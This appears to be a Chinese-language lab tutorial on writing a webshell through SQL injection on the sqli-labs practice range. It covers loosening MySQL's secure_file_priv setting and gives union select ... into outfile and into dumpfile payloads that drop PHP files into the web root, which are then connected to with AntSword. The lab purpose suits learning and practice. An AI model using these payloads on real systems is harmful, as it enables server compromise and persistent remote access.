网络知识 娱乐 sql注入写入shell

sql注入写入shell

前提条件:

1、知道web路径

2、有文件写入权限

3、能用select into outfile导出文件

sqlilab靶场测试

首先设置靶场目录可写权限:

来到C:phpstudyPHPTutorialMySQL目录下,打开my.ini文件,添加一句:secure_file_priv="/"

原因:

如果secure_file_priv=NULL,MYSQL服务会禁止导入和导出操作。
如果secure_file_priv=/tmp/,MYSQL服务只能在/tmp/目录下导入和导出
如果secure_file_priv="" ,MYSQL服务导入和导出不做限制

开始写入shell:

直接进入靶场,这里就忽略判断注入点、判断字段数、判断回显位这些步骤了。

绝对路径可以通过sqlilab前面关卡获取。

直接进行文件写入,本次在 C:phpstudyPHPTutorialWWWsqli 路径下写入一个shell.php,内容为:

?id=1' union select 1,"",3 into outfile 'C:\phpstudy\PHPTutorial\WWW\sqli\shell.php' --+

写入成功:

 蚁剑尝试连接成功:

dumpfile函数写入同理:

union select 1,"",3 into dumpfile 'C:\phpstudy\PHPTutorial\WWW\sqli\aa2.php'--+